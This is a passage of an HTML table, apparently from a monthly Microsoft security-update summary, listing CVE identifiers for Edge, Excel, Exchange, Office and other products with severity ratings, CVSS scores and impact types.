  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
